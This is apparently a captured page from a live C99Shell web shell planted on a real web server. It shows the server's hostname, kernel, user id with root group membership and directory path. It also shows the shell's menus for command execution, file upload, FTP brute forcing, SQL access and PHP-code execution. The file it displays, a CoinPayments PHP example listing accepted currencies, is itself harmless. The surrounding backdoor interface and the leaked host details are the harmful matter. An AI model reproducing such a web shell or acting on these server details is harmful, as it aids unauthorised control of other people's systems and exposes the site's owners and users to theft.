!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.94 GB of 117.98 GB (24.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     accepted_currencies.php (1.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Show the currencies you accept and their exchange rates. Sample output in HTML **/

// Create a new API wrapper instance and call to the rates command.
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');
try {
    
$rates $cps_api->GetRatesWithAccepted();
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}

if (
$rates["error"] == "ok") {
    
// Prepare start of sample HTML output
    
$output '<table><tbody><tr><td>Currency</td><td>BTC Conversion Rate</td></tr>';

    
// Loop through the currency tickers and output the ones you accept with the BTC conversion rate
    
foreach ($rates['result'] as $rate => $rate_array) {
        if (
$rate_array['accepted']) {
            
$output .= '<tr><td>' $rate '</td><td>' $rate_array['rate_btc'] . '</td></tr>';
        }
    }

    
// Close the sample output HTML and echo it onto the page
    
$output .= '</tbody></table>';
    echo 
$output;
} else {
    echo 
$rates["error"];
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--